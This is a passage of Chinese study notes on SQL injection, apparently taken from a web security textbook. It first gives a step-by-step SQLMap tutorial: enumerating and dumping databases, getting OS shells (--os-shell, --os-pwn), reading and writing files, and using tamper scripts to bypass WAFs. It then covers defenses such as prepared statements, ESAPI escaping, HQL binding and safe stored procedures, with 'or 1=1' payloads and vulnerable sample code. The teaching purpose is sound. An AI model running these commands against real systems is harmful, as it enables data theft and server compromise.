  • 自动识别密码加密方式,并且可以使用字典解密
  • 支持数据导出功能

1.使用SQLMap

第一步:判断是否存在注入点

sqlmap -u "http://www.test.com/user.jsp?id=1"

使用-u 参数指定URL,如果URL 存在注入点,将会显示出Web 容器、数据库版本信息。

第二步:获取数据库。

sqlmap -u "http://www.test.com/user.jsp?id=1" --dbs

第三步:查看当前应用程序所用的数据库

sqlmap -u "http://www.test.com/user.jsp?id=1" --current-db

第四步:列出指定数据库的所有表

sqlmap -u "http://www.test.com/user.jsp?id=1" --table -D "dbname"

dbname代表你要查询表的数据库名

第五步:读取指定表中的字段名称

sqlmap -u "http://www.test.com/user.jsp?id=1" --columns -T "tableName" -D "dbName"

第六步:读取字段内容

sqlmap -u "http://www.test.com/user.jsp?id=1" --dump -C "columnsName1,columnsName2,columnsName3" -T "tableName" -D "dbName"

2.SQLMap 参数

① 测试注入点权限

sqlmap -u [URL] --privileges
// 测试所有用户的权限
sqlmap -u [URL] --privileges -U sa
// 测试sa用户的权限

注意:参数严格区分大小写

② 执行Shell 命令

sqlmap -u [URL] --os-cmd="net user"
// 执行net user 命令
sqlmap -u [URL] --os-shell
// 系统交互的shell

③ 获取当前数据库名称

sqlmap -u [URL] --current-db

④ 执行SQL 命令

sqlmap -u [URL] --sql-shell
// 返回SQL 交互的Shell,可以执行SQl 语句
sqlmap -u [URL] --sql--query="sql"

⑤ POST 提交方式

sqlmap -u [URL] --data "POST 参数"

⑥ 显示详细等级

sqlmap -u [URL] --dbs -v 1

-v参数包含以下七个等级

  • 0:只显示Python 的回溯、错误和关键信息
  • 1:显示信息和警告消息
  • 2:显示调试信息
  • 3;有效载荷注入
  • 4:显示HTTP 请求
  • 5:显示HTTP 响应头
  • 6:显示HTTP 响应页面的内容

⑦ 注入HTTP 请求

sqlmap -r head.txt --dbs
// head.txt内容为HTTP 请求

⑧ 直接连接到数据库

sqlmap -d "mysql://admin:[email protected]:3306/testdb" --dbs

⑨ 注入等级

sqlmap -u [URL] --level 3

⑩ 将注入语句插入到指定位置

sqlmap -u "http://www.test.com/id/2*.html" --dbs

某些网站采用了伪静态页面,这时使用SQLMap 不能识别哪里是对服务器提交的参数,所以SQLMap 提供了“*”参数,将SQL 语句插入到指定位置,这一用法常用语伪静态注入。

同样-r 参数对HTTP 请求注入时,也可以在文本中插入*号,如:

POST /login.php HTTP/1.1
Host: www.secbug.org
User-Agent: Mozilla/5.0

username=admin*&password=admin888 //注入username 字段

①① 使用SQLMap 插件

sqlmap -u [URL] -tamper "space2morehash.py"

SQLMap 自带了非常多插件,插件都保存在SQLMap 目录下的tamper 文件中,这些插件通常用来绕过WAF。

参数 说明
-b 获取banner
-P 指定测试参数
-g 从Google中获取URL,-g “inurl:aspx?id=”
–gpage=GOOGLEPAGE 指定Google页码
–union-check 是否支持union注入
–union-cols union查询表记录
–union-test union语句测试
–union-use 采用union注入
–proxy 代理注入
–threads 采用多线程
–user-agent 自定义user-agent
–referer-REFERER HTTP referer头
–proxy=PROXY 使用代理
–string 指定关键词
–tor 创建tor的匿名网络
–predict-output 常见的查询输出预测
–keep-alive 使用持久HTTP (S)连接
–eval=EVALCODE 使用HTTP参数污染
-a/-all 查询所有
–hostname 主机名
–is-dba 是否是管理员权限
–users 枚举所有的用户
–passwords 枚举所有的用户密码
–roles 枚举所有的用户角色
–schema 枚举DBMS模式
–Count 检索所有的条目数
–dump 转存DBMS数据库表项目,需要制定字段名称(列名称)
–dump-all 转存DBMS数据库所有的表项目
–search 搜索列、表或数据库名称
–exclude-sysdbs 在枚举表时排除系统数据库
–sql-query=query 执行SQL语句
–file-read=RFILE 读取操作
–file-write=WFILE 写入操作
–file-dest=DFILE 绝对路径写入
–reg-read 读取一个Windows注册表项值
–reg-add 增加一个Windows注册表项值数据
–reg-del 删除一个Windows注册表项值数据
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表键值
–reg-data=REGDATA Windows注册表的键值项数据
–reg-type=REGTYPE Windows注册表键的值类型
–dump-format=DUMP 转存数据格式(CSV (default)、HTML或SQLITE)
–hex 使用十六进制数据检索功能
–output-dir=ODIR 自定义输出的目录路径
–update 更新SQLMap
–purge-output 安全删除所有内容的输出目录
–check-waf 启发式检查WAF1IPS/IDS保护
–os-pwn 反弹Shell
–cookie=COOKIE 指定HTTP Cookie,预登录
–random-agent 使用随机选定的User-Agent头
–tamper-TAMPER 使用SQLMap插件
–level 测试等级(1~5),默认为1

5.5 防止SQL 注入

SQL 注入攻击的问题最终归于用户可以控制输入,SQL 注入、XSS、文件包含、命令执行都可归于此。这验证了一句话:有输入的地方,就可能存在风险。

要想更好地防止SQL 注入攻击,就必须清除一个概念:数据库只负责执行SQL 语句,根据SQL 语句来返回相关数据。数据库并没有什么好的方法直接过滤SQL 注入,还得从代码入手。

SQL 注入的防御有很多种,根据SQL 注入的分类,防御主要有两种:数据类型判断和特殊字符转义。

5.5.1 严格的数据类型

Java、C# 等强类型语言几乎可以完全忽略数字型注入,例如:请求ID 为1的新闻,其URL:http://www.test.com/news.jsp?id=1,在程序代码中可能为:

int id = Interger.parseInt(request.getParameter("id"));
// 接收ID 参数,并转换为int 类型
News news = newsDao.findNewsById(id)
// 查询新闻列表

攻击者想在此代码中注入是不可能的,因为程序在接收ID 参数后,做了一次数据类型转换,如果ID 参数接受的数据是字符串会发生Exception。由此可见,数据类型处理正确后,足以抵挡数据型注入。

像PHP、ASP,并没有强制要求处理数据类型,这类语言就会根据参数自动推导出数据类型。防御数字型注入只需要在程序中严格判断数据类型即可。如:使用is_numeric()、ctype_digit() 等函数判断数据类型,即可解决数字型注入。

5.5.2 特殊字符转义

通过加强数据类型验证可以解决数字型的SQL 注入,字符型却不可以。最好的方法就是对特殊字符进行转义。因为在数据库查询字符串时,任何字符串都会被加上单引号。既然知道攻击者在字符型注入中必然会出现单引号,那么转义之即可。

如果不知道需要转义那些特殊字符,可以参考OWASP ESAPI,其提供了专门对数据库字符转吗的接口,而且还根据不同的数据库实现了不同的编译器。

使用OWASP API 也很容易,只需要创建一个相应的数据库编码器,然后调用ESAPI.encoder().encodeForSQL() 方法即可对字符串编码。

OWASPI 同样可以有效得防止XSS 跨站脚本漏洞。

在说到特殊字符转义过滤SQL 注入时,就不得不提起另一种难以防范的SQL 注入攻击:二次注入攻击

什么是二次注入攻击?以PHP 为例,PHP在开启magic_quotes_gpc 后,将会对特殊字符转义,比如,将’过滤为’,比如插入一个字段username的数据为:test’,虽然在SQL语句执行的时候单引号被转义了,但还是会被插入数据库中,插入后在数据库中为test’。如果有另外一处SQL 语句可以查询该username,此时就可以被利用。即直接向username插入你的攻击SQL 语句,再查询之,就是执行的你的SQL 语句。

5.5.3 使用预编译语句

Java、C# 等语言都提供了预编译语句,下面以Java 语言为例讨论预编译语句。

在Java 中,提供了三个接口与数据库交互,分别是Statement、CallableStatement 和PreparedStatement

Statement 用于执行静态SQL 语句,并返回它所生成结果的对象。PreparedStatement 为Statement 的子类,表示预编译SQL 语句的对象。CallableStatement 为PreparedStatement 的子类,用于执行SQL 的储存过程,三者的层次关系非常清楚。

PreparedStatement 接口是高效的,预编译语句在创建时已经将指定的SQL 语句发送给了DBMS,完成了解析、检查、编译等工作,我们需要的仅仅是将变量传给SQL 语句。
假设有一个URL 对ID 查询:
http://www.test.com/user.action?id=1,安全代码如下:

int id = Integer.parseInt(request.getParameter("id"));
String sql = "select id,username,password from users where id = ? ";
PreparedStatement ps = this.conn.prepareStatement(sql) ; //使用预编译接口
ps.setInt(1, id) ;
ResultSet res = ps.executeQuery();
Users user = new Users();
if(res.next()) {
	//封装user对象属性
}

在使用PreparedStatement 接口时应该注意,虽然其是安全的,但是如果用动态拼接SQL 语句,就会失去其安全性,如:

String id = request.getParameter("id");
String sql = "select id,username,password from users where id = "+id;
Preparedstatement ps = this.conn.prepareStatement(sql);
ResultSet res = ps.executeQuery();

这段代码虽然使用了PreparedStatement 接口,但同样存在SQL 注入。要想其防御,必须使用它提供的setter 方法(setShort、setString 等)。

5.5.4 框架技术

在众多的框架中,有一类框架专门与数据库打交道,被称为持久层框架,比较有代表性的有Hibernate、MyBatis、JORM 等,接下来以Hibernate 框架为例。

Hibernate 是一个开放源代码的ORM(对象关系映射)框架,它对JDBC 进行了非常轻量级的对象封装,使得Java程序员可以随心所欲地使用面向对象编程思维操纵数据库,Hibernate 被称为Java三大框架之一。

Hibernate 是跨平台的,几乎不需要更改任何SQL语句即可适用于各种数据库,它的安全性也是比较高的,但它同样存在着注入。像这类对象关系映射框架注入也被称为ORM 注入。

Hibernate 自定义了一种叫作HQL 的语言————是一种面向对象的查询语言。使用此语言时,千万不要使用动态拼接的方式组成SQL语句,否则可能会造成HQL注入。因不是标准的SQL 语句,所以被称为HQL 注入,存在注入的代码如下:

String id = request.getParameter("id");
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= "+id;
Query query = session.createQuery(hql); //生成Query对象
List<Student> list = query.list(); //进行查询

在正常查看用户时,URL: htp://www.secbug.org/user.action?id=1, 攻击者可能把id参数改
为id=1 or 1=1,最终执行结果为 from Student stu where stu.studentNo=1 or 1=1,查询时将会暴露此表的所有数据。
在使用Hibernate 时,应该避免出现字符串动态拼接的方式,最好使用参数名称或者位置绑定的方式,如同PreparedStatement 接口,改进代码如下。

(1) 代码位置绑定

int id = Integer.parseInt(request.getParameter("id"));
Session session = HibernateSessionFactory.getSession() ;
String hql = "from Student stu where stu.studentNo= ?";
Query query = session.createQuery (hql); //生成 Query对象
query.setParameter(0, id); //封装参数
List<Student> list = query.list(); //进行查询

(2) 使用参数名称

int id = Integer.parseInt(request.getParameter("id"));
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= :id";
Query query = session.createQuery(hql); //生成Query对象
query . setParameter("id", id); //封装参数
List<Student> list = query.list(); //进行查询

5.5.5 储存过程

存储过程( Stored Procedure)是在大型数据库系统中,一组为了完成特定功能或经常使用的SQL语句集,经编译后存储在数据库中。存储过程具有较高的安全性,可以防止SQL 注入,但若编写不当,依然有SQL注入的风险,示例代码如下:

create proc findUserId @id varchar(100)
as
	exec('select * from Student where StudentNo= '+@id) ;
go

fundUserId虽然是存储过程,但却不是安全的存储过程,它使用了exec()函数执行SQL语句,这和直接书写select * from Student where StudentNo= id没有任何区别。传入参数3 or 1=1 将查询出全部数据,造成SQL注入漏洞。
改进代码如下:

	create proc findUserId @id varchar(100)
as
	select * from Student where StudentNo=@id
go

参数 3 or 1=1,SQL 执行器抛出错误:

消息245,级别16,状态1,过程findUserId, 第3行
在将varchar值'3 or 1=1' 转换成数据类型int时失败。

虽然以上代码比较简单,但是证明了存储过程确实有SQL 注入的可能性。此处一定要注意, 使用存储过程应该与PreparedStatement 接口一样,不要使用动态SQL 语句拼接,否则依然可能造成SQL注入。

你可能感兴趣的:(Web安全深度剖析笔记)